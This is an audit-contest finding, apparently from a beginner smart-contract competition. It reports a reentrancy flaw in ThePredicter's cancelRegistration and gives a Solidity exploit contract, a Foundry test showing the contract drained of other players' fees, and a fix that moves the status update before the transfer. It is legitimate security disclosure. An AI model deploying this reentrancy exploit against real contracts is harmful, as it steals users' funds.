First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy In `ThePredicter::cancelRegistration`

vile

Reentrancy In ThePredicter::cancelRegistration

Summary

ThePredicter::cancelRegistration does not follow CEI which enables a malicious contract to repeatedly cancel their registration to drain the contract of funds.

Vulnerability Details

ThePredicter::cancelRegistration does not follow CEI, allowing a reentrancy attack.

Include this exploit contract in ./test/attack/ThePredicterReentrancy.sol:

// SPDX-License-Identifier: MIT
pragma solidity =0.8.20;
​
import {ThePredicter} from "../../src/ThePredicter.sol";
​
contract ThePredicterReentrancy {
ThePredicter internal immutable i_predicter;
address internal immutable i_owner;
​
constructor(address predicter) {
i_predicter = ThePredicter(predicter);
i_owner = msg.sender;
}
​
function attack() external payable {
i_predicter.register{value: msg.value}();
i_predicter.cancelRegistration();
}
​
receive() external payable {
if (address(i_predicter).balance >= msg.value) {
i_predicter.cancelRegistration();
} else {
(bool success,) = payable(i_owner).call{value: address(this).balance}("");
require(success);
}
}
}

Include the following test case in ./test/ThePredicter.t.sol:

import {ThePredicterReentrancy} from "./attack/ThePredicterReentrancy.sol";
​
// ...
​
function test_thePredicterReentrancy() public {
uint256 startingBalance = 1 ether;
uint256 entranceFee = thePredicter.entranceFee();
​
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address attacker = makeAddr("attacker");
​
hoax(stranger, startingBalance);
thePredicter.register{value: entranceFee}();
​
hoax(stranger2, startingBalance);
thePredicter.register{value: entranceFee}();
​
hoax(stranger3, startingBalance);
thePredicter.register{value: entranceFee}();
​
startHoax(attacker, entranceFee);
uint256 beforeBalance = address(attacker).balance;
​
ThePredicterReentrancy exploit = new ThePredicterReentrancy(address(thePredicter));
exploit.attack{value: entranceFee}();
vm.stopPrank();
​
uint256 afterBalance = address(attacker).balance;
// Assert that the attacker address has obtained its original entrance fee,
// and the entrance fee of the other 3 pending players
assertEq(afterBalance, beforeBalance + (entranceFee * 3));
assertEq(address(thePredicter).balance, 0 ether);
}

Run the test:

forge test --mt test_thePredicterReentrancy -vvvvv

Impact

Draining of contract funds.

Tools Used

Manual Analysis.

Recommendations

Follow CEI:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.